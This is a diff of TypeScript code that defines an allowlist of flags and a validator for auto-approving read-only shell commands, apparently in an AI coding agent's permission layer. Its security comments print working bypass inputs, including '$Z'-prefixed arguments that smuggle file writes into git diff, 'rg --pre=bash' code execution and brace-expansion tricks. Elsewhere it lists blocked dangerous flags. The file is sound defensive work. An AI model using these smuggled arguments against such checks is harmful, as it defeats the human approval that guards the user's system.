+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  sha1sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  md5sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
+  // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
+  tree: {
+    safeFlags: {
+      // Listing options
+      '-a': 'none', // All files
+      '-d': 'none', // Directories only
+      '-l': 'none', // Follow symlinks
+      '-f': 'none', // Full path prefix
+      '-x': 'none', // Stay on current filesystem
+      '-L': 'number', // Max depth
+      // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
+      // WRITES 00Tree.html files to every subdirectory at the depth boundary.
+      // From man tree (< 2.1.0): "-R — at each of them execute tree again
+      // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
+      // depth" was misleading — the "rerun" includes a hardcoded -o file write.
+      // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
+      // subdir at depth 2. FILE WRITE, zero permissions.
+      '-P': 'string', // Include pattern
+      '-I': 'string', // Exclude pattern
+      '--gitignore': 'none',
+      '--gitfile': 'string',
+      '--ignore-case': 'none',
+      '--matchdirs': 'none',
+      '--metafirst': 'none',
+      '--prune': 'none',
+      '--info': 'none',
+      '--infofile': 'string',
+      '--noreport': 'none',
+      '--charset': 'string',
+      '--filelimit': 'number',
+      // File display options
+      '-q': 'none', // Non-printable as ?
+      '-N': 'none', // Non-printable as-is
+      '-Q': 'none', // Quote filenames
+      '-p': 'none', // Protections
+      '-u': 'none', // Owner
+      '-g': 'none', // Group
+      '-s': 'none', // Size bytes
+      '-h': 'none', // Human-readable sizes
+      '--si': 'none',
+      '--du': 'none',
+      '-D': 'none', // Last modification time
+      '--timefmt': 'string',
+      '-F': 'none', // Append indicator
+      '--inodes': 'none',
+      '--device': 'none',
+      // Sorting options
+      '-v': 'none', // Version sort
+      '-t': 'none', // Sort by mtime
+      '-c': 'none', // Sort by ctime
+      '-U': 'none', // Unsorted
+      '-r': 'none', // Reverse sort
+      '--dirsfirst': 'none',
+      '--filesfirst': 'none',
+      '--sort': 'string',
+      // Graphics/output options
+      '-i': 'none', // No indentation lines
+      '-A': 'none', // ANSI line graphics
+      '-S': 'none', // CP437 line graphics
+      '-n': 'none', // No color
+      '-C': 'none', // Color
+      '-X': 'none', // XML output
+      '-J': 'none', // JSON output
+      '-H': 'string', // HTML output with base HREF
+      '--nolinks': 'none',
+      '--hintro': 'string',
+      '--houtro': 'string',
+      '-T': 'string', // HTML title
+      '--hyperlink': 'none',
+      '--scheme': 'string',
+      '--authority': 'string',
+      // Input options (read from file, not write)
+      '--fromfile': 'none',
+      '--fromtabfile': 'none',
+      '--fflinks': 'none',
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  // date command - moved from READONLY_COMMANDS because -s/--set can set system time
+  // Also -f/--file can be used to read dates from file and set time
+  // We only allow safe display options
+  date: {
+    safeFlags: {
+      // Display options (safe - don't modify system time)
+      '-d': 'string', // --date=STRING - display time described by STRING
+      '--date': 'string',
+      '-r': 'string', // --reference=FILE - display file's modification time
+      '--reference': 'string',
+      '-u': 'none', // --utc - use UTC
+      '--utc': 'none',
+      '--universal': 'none',
+      // Output format options
+      '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
+      '--iso-8601': 'string',
+      '-R': 'none', // --rfc-email
+      '--rfc-email': 'none',
+      '--rfc-3339': 'string',
+      // Debug/help
+      '--debug': 'none',
+      '--help': 'none',
+      '--version': 'none',
+    },
+    // Dangerous flags NOT included (blocked by omission):
+    // -s / --set - sets system time
+    // -f / --file - reads dates from file (can be used to set time in batch)
+    // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
+    // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // args are already parsed tokens after "date"
+      // Flags that require an argument
+      const flagsWithArgs = new Set([
+        '-d',
+        '--date',
+        '-r',
+        '--reference',
+        '--iso-8601',
+        '--rfc-3339',
+      ])
+      let i = 0
+      while (i < args.length) {
+        const token = args[i]!
+        // Skip flags and their arguments
+        if (token.startsWith('--') && token.includes('=')) {
+          // Long flag with =value, already consumed
+          i++
+        } else if (token.startsWith('-')) {
+          // Flag - check if it takes an argument
+          if (flagsWithArgs.has(token)) {
+            i += 2 // Skip flag and its argument
+          } else {
+            i++ // Just skip the flag
+          }
+        } else {
+          // Positional argument - must start with + for format strings
+          // Anything else (like MMDDhhmm) could set system time
+          if (!token.startsWith('+')) {
+            return true // Dangerous
+          }
+          i++
+        }
+      }
+      return false // Safe
+    },
+  },
+  // hostname command - moved from READONLY_COMMANDS because positional args set hostname
+  // Also -F/--file sets hostname from file, -b/--boot sets default hostname
+  // We only allow safe display options and BLOCK any positional arguments
+  hostname: {
+    safeFlags: {
+      // Display options only (safe)
+      '-f': 'none', // --fqdn - display FQDN
+      '--fqdn': 'none',
+      '--long': 'none',
+      '-s': 'none', // --short - display short name
+      '--short': 'none',
+      '-i': 'none', // --ip-address
+      '--ip-address': 'none',
+      '-I': 'none', // --all-ip-addresses
+      '--all-ip-addresses': 'none',
+      '-a': 'none', // --alias
+      '--alias': 'none',
+      '-d': 'none', // --domain
+      '--domain': 'none',
+      '-A': 'none', // --all-fqdns
+      '--all-fqdns': 'none',
+      '-v': 'none', // --verbose
+      '--verbose': 'none',
+      '-h': 'none', // --help
+      '--help': 'none',
+      '-V': 'none', // --version
+      '--version': 'none',
+    },
+    // CRITICAL: Block any positional arguments - they set the hostname
+    // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
+    // Use regex to ensure no positional args after flags
+    regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
+  },
+  // info command - moved from READONLY_COMMANDS because -o/--output writes to files
+  // Also --dribble writes keystrokes to file, --init-file loads custom config
+  // We only allow safe display/navigation options
+  info: {
+    safeFlags: {
+      // Navigation/display options (safe)
+      '-f': 'string', // --file - specify manual file to read
+      '--file': 'string',
+      '-d': 'string', // --directory - search path
+      '--directory': 'string',
+      '-n': 'string', // --node - specify node
+      '--node': 'string',
+      '-a': 'none', // --all
+      '--all': 'none',
+      '-k': 'string', // --apropos - search
+      '--apropos': 'string',
+      '-w': 'none', // --where - show location
+      '--where': 'none',
+      '--location': 'none',
+      '--show-options': 'none',
+      '--vi-keys': 'none',
+      '--subnodes': 'none',
+      '-h': 'none',
+      '--help': 'none',
+      '--usage': 'none',
+      '--version': 'none',
+    },
+    // Dangerous flags NOT included (blocked by omission):
+    // -o / --output - writes output to file
+    // --dribble - records keystrokes to file
+    // --init-file - loads custom config (potential code execution)
+    // --restore - replays keystrokes from file
+  },
+
+  lsof: {
+    safeFlags: {
+      '-?': 'none',
+      '-h': 'none',
+      '-v': 'none',
+      '-a': 'none',
+      '-b': 'none',
+      '-C': 'none',
+      '-l': 'none',
+      '-n': 'none',
+      '-N': 'none',
+      '-O': 'none',
+      '-P': 'none',
+      '-Q': 'none',
+      '-R': 'none',
+      '-t': 'none',
+      '-U': 'none',
+      '-V': 'none',
+      '-X': 'none',
+      '-H': 'none',
+      '-E': 'none',
+      '-F': 'none',
+      '-g': 'none',
+      '-i': 'none',
+      '-K': 'none',
+      '-L': 'none',
+      '-o': 'none',
+      '-r': 'none',
+      '-s': 'none',
+      '-S': 'none',
+      '-T': 'none',
+      '-x': 'none',
+      '-A': 'string',
+      '-c': 'string',
+      '-d': 'string',
+      '-e': 'string',
+      '-k': 'string',
+      '-p': 'string',
+      '-u': 'string',
+      // OMITTED (writes to disk): -D (device cache file build/update)
+    },
+    // Block +m (create mount supplement file) — writes to disk.
+    // +prefix flags are treated as positional args by validateFlags,
+    // so we must catch them here. lsof accepts +m<path> (attached path, no space)
+    // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
+    additionalCommandIsDangerousCallback: (_rawCommand, args) =>
+      args.some(a => a === '+m' || a.startsWith('+m')),
+  },
+
+  pgrep: {
+    safeFlags: {
+      '-d': 'string',
+      '--delimiter': 'string',
+      '-l': 'none',
+      '--list-name': 'none',
+      '-a': 'none',
+      '--list-full': 'none',
+      '-v': 'none',
+      '--inverse': 'none',
+      '-w': 'none',
+      '--lightweight': 'none',
+      '-c': 'none',
+      '--count': 'none',
+      '-f': 'none',
+      '--full': 'none',
+      '-g': 'string',
+      '--pgroup': 'string',
+      '-G': 'string',
+      '--group': 'string',
+      '-i': 'none',
+      '--ignore-case': 'none',
+      '-n': 'none',
+      '--newest': 'none',
+      '-o': 'none',
+      '--oldest': 'none',
+      '-O': 'string',
+      '--older': 'string',
+      '-P': 'string',
+      '--parent': 'string',
+      '-s': 'string',
+      '--session': 'string',
+      '-t': 'string',
+      '--terminal': 'string',
+      '-u': 'string',
+      '--euid': 'string',
+      '-U': 'string',
+      '--uid': 'string',
+      '-x': 'none',
+      '--exact': 'none',
+      '-F': 'string',
+      '--pidfile': 'string',
+      '-L': 'none',
+      '--logpidfile': 'none',
+      '-r': 'string',
+      '--runstates': 'string',
+      '--ns': 'string',
+      '--nslist': 'string',
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+  },
+
+  tput: {
+    safeFlags: {
+      '-T': 'string',
+      '-V': 'none',
+      '-x': 'none',
+      // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
+      // It must NOT be in safeFlags because validateFlags unbundles combined
+      // short flags (e.g., -xS → -x + -S), but the callback receives the raw
+      // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
+      // from safeFlags ensures validateFlags rejects it (bundled or not) before
+      // the callback runs. The callback's -S check is defense-in-depth.
+    },
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // Capabilities that modify terminal state or could be harmful.
+      // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
+      // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
+      // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
+      // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
+      // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
+      // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
+      // rf is reset file (analogous to if/init_file).
+      const DANGEROUS_CAPABILITIES = new Set([
+        'init',
+        'reset',
+        'rs1',
+        'rs2',
+        'rs3',
+        'is1',
+        'is2',
+        'is3',
+        'iprog',
+        'if',
+        'rf',
+        'clear',
+        'flash',
+        'mc0',
+        'mc4',
+        'mc5',
+        'mc5i',
+        'mc5p',
+        'pfkey',
+        'pfloc',
+        'pfx',
+        'pfxl',
+        'smcup',
+        'rmcup',
+      ])
+      const flagsWithArgs = new Set(['-T'])
+      let i = 0
+      let afterDoubleDash = false
+      while (i < args.length) {
+        const token = args[i]!
+        if (token === '--') {
+          afterDoubleDash = true
+          i++
+        } else if (!afterDoubleDash && token.startsWith('-')) {
+          // Defense-in-depth: block -S even if it somehow passes validateFlags
+          if (token === '-S') return true
+          // Also check for -S bundled with other flags (e.g., -xS)
+          if (
+            !token.startsWith('--') &&
+            token.length > 2 &&
+            token.includes('S')
+          )
+            return true
+          if (flagsWithArgs.has(token)) {
+            i += 2
+          } else {
+            i++
+          }
+        } else {
+          if (DANGEROUS_CAPABILITIES.has(token)) return true
+          i++
+        }
+      }
+      return false
+    },
+  },
+
+  // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
+  // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
+  // are deliberately excluded. -F/--filter (read filter from file) also excluded.
+  ss: {
+    safeFlags: {
+      '-h': 'none',
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+      '-n': 'none',
+      '--numeric': 'none',
+      '-r': 'none',
+      '--resolve': 'none',
+      '-a': 'none',
+      '--all': 'none',
+      '-l': 'none',
+      '--listening': 'none',
+      '-o': 'none',
+      '--options': 'none',
+      '-e': 'none',
+      '--extended': 'none',
+      '-m': 'none',
+      '--memory': 'none',
+      '-p': 'none',
+      '--processes': 'none',
+      '-i': 'none',
+      '--info': 'none',
+      '-s': 'none',
+      '--summary': 'none',
+      '-4': 'none',
+      '--ipv4': 'none',
+      '-6': 'none',
+      '--ipv6': 'none',
+      '-0': 'none',
+      '--packet': 'none',
+      '-t': 'none',
+      '--tcp': 'none',
+      '-M': 'none',
+      '--mptcp': 'none',
+      '-S': 'none',
+      '--sctp': 'none',
+      '-u': 'none',
+      '--udp': 'none',
+      '-d': 'none',
+      '--dccp': 'none',
+      '-w': 'none',
+      '--raw': 'none',
+      '-x': 'none',
+      '--unix': 'none',
+      '--tipc': 'none',
+      '--vsock': 'none',
+      '-f': 'string',
+      '--family': 'string',
+      '-A': 'string',
+      '--query': 'string',
+      '--socket': 'string',
+      '-Z': 'none',
+      '--context': 'none',
+      '-z': 'none',
+      '--contexts': 'none',
+      // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
+      // to switch network namespace. While isolated to forked process, too invasive.
+      '-b': 'none',
+      '--bpf': 'none',
+      '-E': 'none',
+      '--events': 'none',
+      '-H': 'none',
+      '--no-header': 'none',
+      '-O': 'none',
+      '--oneline': 'none',
+      '--tipcinfo': 'none',
+      '--tos': 'none',
+      '--cgroup': 'none',
+      '--inet-sockopt': 'none',
+      // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
+      // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
+      // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
+    },
+  },
+
+  // fd/fdfind — fast file finder (fd-find). Read-only search tool.
+  // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
+  // (execute command with all results) are deliberately excluded.
+  fd: { safeFlags: { ...FD_SAFE_FLAGS } },
+  // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
+  fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
+
+  ...PYRIGHT_READ_ONLY_COMMANDS,
+  ...DOCKER_READ_ONLY_COMMANDS,
+}
+
+// gh commands are ant-only since they make network requests, which goes against
+// the read-only validation principle of no network access
+const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
+  // All gh read-only commands from shared validation map
+  ...GH_READ_ONLY_COMMANDS,
+  // aki — Anthropic internal knowledge-base search CLI.
+  // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
+  aki: {
+    safeFlags: {
+      '-h': 'none',
+      '--help': 'none',
+      '-k': 'none',
+      '--keyword': 'none',
+      '-s': 'none',
+      '--semantic': 'none',
+      '--no-adaptive': 'none',
+      '-n': 'number',
+      '--limit': 'number',
+      '-o': 'number',
+      '--offset': 'number',
+      '--source': 'string',
+      '--exclude-source': 'string',
+      '-a': 'string',
+      '--after': 'string',
+      '-b': 'string',
+      '--before': 'string',
+      '--collection': 'string',
+      '--drive': 'string',
+      '--folder': 'string',
+      '--descendants': 'none',
+      '-m': 'string',
+      '--meta': 'string',
+      '-t': 'string',
+      '--threshold': 'string',
+      '--kw-weight': 'string',
+      '--sem-weight': 'string',
+      '-j': 'none',
+      '--json': 'none',
+      '-c': 'none',
+      '--chunk': 'none',
+      '--preview': 'none',
+      '-d': 'none',
+      '--full-doc': 'none',
+      '-v': 'none',
+      '--verbose': 'none',
+      '--stats': 'none',
+      '-S': 'number',
+      '--summarize': 'number',
+      '--explain': 'none',
+      '--examine': 'string',
+      '--url': 'string',
+      '--multi-turn': 'number',
+      '--multi-turn-model': 'string',
+      '--multi-turn-context': 'string',
+      '--no-rerank': 'none',
+      '--audit': 'none',
+      '--local': 'none',
+      '--staging': 'none',
+    },
+  },
+}
+
+function getCommandAllowlist(): Record<string, CommandConfig> {
+  let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
+  // On Windows, xargs can be used as a data-to-code bridge: if a file contains
+  // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
+  // resolution. Since the UNC path is in file contents (not the command string),
+  // regex-based detection cannot catch this.
+  if (getPlatform() === 'windows') {
+    const { xargs: _, ...rest } = allowlist
+    allowlist = rest
+  }
+  if (process.env.USER_TYPE === 'ant') {
+    return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
+  }
+  return allowlist
+}
+
+/**
+ * Commands that are safe to use as xargs targets for auto-approval.
+ *
+ * SECURITY: Only add a command to this list if it has NO flags that can:
+ * 1. Write to files (e.g., find's -fprint, sed's -i)
+ * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
+ * 3. Make network requests
+ *
+ * These commands must be purely read-only utilities. When xargs uses one of
+ * these as a target, we stop validating flags after the target command
+ * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
+ * must not have ANY dangerous flags, not just a safe subset.
+ *
+ * Each command was verified by checking its man page for dangerous capabilities.
+ */
+const SAFE_TARGET_COMMANDS_FOR_XARGS = [
+  'echo', // Output only, no dangerous flags
+  'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
+  'wc', // Read-only counting, no dangerous flags
+  'grep', // Read-only search, no dangerous flags
+  'head', // Read-only, no dangerous flags
+  'tail', // Read-only (including -f follow), no dangerous flags
+]
+
+/**
+ * Unified command validation function that replaces individual validator functions.
+ * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
+ * Handles combined flags, argument validation, and shell quoting bypass detection.
+ */
+export function isCommandSafeViaFlagParsing(command: string): boolean {
+  // Parse the command to get individual tokens using shell-quote for accuracy
+  // Handle glob operators by converting them to strings, they don't matter from the perspective
+  // of this function
+  const parseResult = tryParseShellCommand(command, env => `$${env}`)
+  if (!parseResult.success) return false
+
+  const parsed = parseResult.tokens.map(token => {
+    if (typeof token !== 'string') {
+      token = token as { op: 'glob'; pattern: string }
+      if (token.op === 'glob') {
+        return token.pattern
+      }
+    }
+    return token
+  })
+
+  // If there are operators (pipes, redirects, etc.), it's not a simple command.
+  // Breaking commands down into their constituent parts is handled upstream of
+  // this function, so we reject anything with operators here.
+  const hasOperators = parsed.some(token => typeof token !== 'string')
+  if (hasOperators) {
+    return false
+  }
+
+  // Now we know all tokens are strings
+  const tokens = parsed as string[]
+
+  if (tokens.length === 0) {
+    return false
+  }
+
+  // Find matching command configuration
+  let commandConfig: CommandConfig | undefined
+  let commandTokens: number = 0
+
+  // Check for multi-word commands first (e.g., "git diff", "git stash list")
+  const allowlist = getCommandAllowlist()
+  for (const [cmdPattern] of Object.entries(allowlist)) {
+    const cmdTokens = cmdPattern.split(' ')
+    if (tokens.length >= cmdTokens.length) {
+      let matches = true
+      for (let i = 0; i < cmdTokens.length; i++) {
+        if (tokens[i] !== cmdTokens[i]) {
+          matches = false
+          break
+        }
+      }
+      if (matches) {
+        commandConfig = allowlist[cmdPattern]
+        commandTokens = cmdTokens.length
+        break
+      }
+    }
+  }
+
+  if (!commandConfig) {
+    return false // Command not in allowlist
+  }
+
+  // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
+  if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
+    // Check if any argument looks like a URL or remote specification
+    for (let i = 2; i < tokens.length; i++) {
+      const token = tokens[i]
+      if (token && !token.startsWith('-')) {
+        // Reject HTTP/HTTPS URLs
+        if (token.includes('://')) {
+          return false
+        }
+        // Reject SSH URLs like git@github.com:user/repo.git
+        if (token.includes('@') || token.includes(':')) {
+          return false
+        }
+        // Reject variable references
+        if (token.includes('$')) {
+          return false
+        }
+      }
+    }
+  }
+
+  // SECURITY: Reject ANY token containing `$` (variable expansion). The
+  // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
+  // in tokens, but bash expands it at runtime (unset vars → empty string).
+  // This parser differential defeats BOTH validateFlags and callbacks:
+  //
+  //   (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
+  //       `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
+  //       (starts with `$`) falls through as positional at ~:1730. Bash runs
+  //       `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
+  //
+  //   (2) `$VAR`-prefix → RCE via `rg --pre`:
+  //       `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
+  //       no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
+  //
+  //   (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
+  //       `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
+  //       `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
+  //       `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
+  //       tokens would NOT close this.
+  //
+  // We check ALL tokens after the command prefix. Any `$` means we cannot
+  // determine the runtime token value, so we cannot verify read-only safety.
+  // This check must run BEFORE validateFlags and BEFORE callbacks.
+  for (let i = commandTokens; i < tokens.length; i++) {
+    const token = tokens[i]
+    if (!token) continue
+    // Reject any token containing $ (variable expansion)
+    if (token.includes('$')) {
+      return false
+    }
+    // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
+    // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
+    // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
+    // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
+    // We require BOTH `{` and `,` to avoid false positives on legitimate
+    // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
+    // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
+    // `{1..5}` also needs checking (has `{` + `..`).
+    if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
+      return false
+    }
+  }
+
+  // Validate flags starting after the command tokens
+  if (
+    !validateFlags(tokens, commandTokens, commandConfig, {
+      commandName: tokens[0],
+      rawCommand: command,
+      xargsTargetCommands:
+        tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
+    })
+  ) {
+    return false
+  }
+
+  if (commandConfig.regex && !commandConfig.regex.test(command)) {
+    return false
+  }
+  if (!commandConfig.regex && /`/.test(command)) {
+    return false
+  }
+  // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
+  if (
+    !commandConfig.regex &&
+    (tokens[0] === 'rg' || tokens[0] === 'grep') &&
+    /[\n\r]/.test(command)
+  ) {
+    return false
+  }
+  if (
+    commandConfig.additionalCommandIsDangerousCallback &&
+    commandConfig.additionalCommandIsDangerousCallback(
+      command,
+      tokens.slice(commandTokens),
+    )
+  ) {
+    return false
+  }
+
+  return true
+}
+
+/**
+ * Creates a regex pattern that matches safe invocations of a command.
+ *
+ * The regex ensures commands are invoked safely by blocking:
+ * - Shell metacharacters that could lead to command injection or redirection
+ * - Command substitution via backticks or $()
+ * - Variable expansion that could contain malicious payloads
+ * - Environment variable assignment bypasses (command=value)
+ *
+ * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
+ * @returns RegExp that matches safe invocations of the command
+ */
+function makeRegexForSafeCommand(command: string): RegExp {
+  // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
+  return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
+}
+
+// Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
+// WARNING: If you are adding new commands here, be very careful to ensure
+// they are truly safe. This includes ensuring:
+// 1. That they don't have any flags that allow file writing or command execution
+// 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
+const READONLY_COMMANDS = [
+  // Cross-platform commands from shared validation
+  ...EXTERNAL_READONLY_COMMANDS,
+
+  // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
+
+  // Time and date
+  'cal',
+  'uptime',
+
+  // File content viewing (relative paths handled separately)
+  'cat',
+  'head',
+  'tail',
+  'wc',
+  'stat',
+  'strings',
+  'hexdump',
+  'od',
+  'nl',
+
+  // System info
+  'id',
+  'uname',
+  'free',
+  'df',
+  'du',
+  'locale',
+  'groups',
+  'nproc',
+
+  // Path information
+  'basename',
+  'dirname',
+  'realpath',
+
+  // Text processing
+  'cut',
+  'paste',
+  'tr',
+  'column',
+  'tac', // Reverse cat — displays file contents in reverse line order
+  'rev', // Reverse characters in each line
+  'fold', // Wrap lines to specified width
+  'expand', // Convert tabs to spaces
+  'unexpand', // Convert spaces to tabs
+  'fmt', // Simple text formatter — output to stdout only
+  'comm', // Compare sorted files line by line
+  'cmp', // Byte-by-byte file comparison
+  'numfmt', // Number format conversion
+
+  // Path information (additional)
+  'readlink', // Resolve symlinks — displays target of symbolic link
+
+  // File comparison
+  'diff',
+
+  // true and false, used to silence or create errors
+  'true',
+  'false',
+
+  // Misc. safe commands
+  'sleep',
+  'which',
+  'type',
+  'expr', // Evaluate expressions (arithmetic, string matching)
+  'test', // Conditional evaluation (file checks, comparisons)
+  'getconf', // Get system configuration values
+  'seq', // Generate number sequences
+  'tsort', // Topological sort
+  'pr', // Paginate files for printing
+]
+
+// Complex commands that require custom regex patterns
+// Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
+// instead. This allowlist-based approach to CLI flags is more secure and avoids
+// vulns coming from gnu getopt_long.
+const READONLY_COMMAND_REGEXES = new Set([
+  // Convert simple commands to regex patterns using makeRegexForSafeCommand
+  ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
+
+  // Echo that doesn't execute commands or use variables
+  // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
+  // Also allow optional 2>&1 stderr redirection at the end
+  /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
+
+  // Claude CLI help
+  /^claude -h$/,
+  /^claude --help$/,
+
+  // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
+  // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
+
+  /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
+
+  // System info
+  /^pwd$/,
+  /^whoami$/,
+  // env and printenv removed - could expose sensitive environment variables
+
+  // Development tools version checking - exact match only, no suffix allowed.
+  // SECURITY: `node -v --run <task>` would execute package.json scripts because
+  // Node processes --run before -v. Python/python3 --version are also anchored
+  // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
+  // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
+  /^node -v$/,
+  /^node --version$/,
+  /^python --version$/,
+  /^python3 --version$/,
+
+  // Misc. safe commands
+  // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
+  /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
+  /^alias$/,
+  /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
+
+  // Network commands - only allow exact commands with no arguments to prevent network manipulation
+  /^ip addr$/, // Only allow "ip addr" with no additional arguments
+  /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
+
+  // JSON processing with jq - allow with inline filters and file arguments
+  // File arguments are validated separately by pathValidation.ts
+  // Allow pipes and complex expressions within quotes but prevent dangerous flags
+  // Block command substitution - backticks are dangerous even in single quotes for jq
+  // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
+  // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
+  /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
+
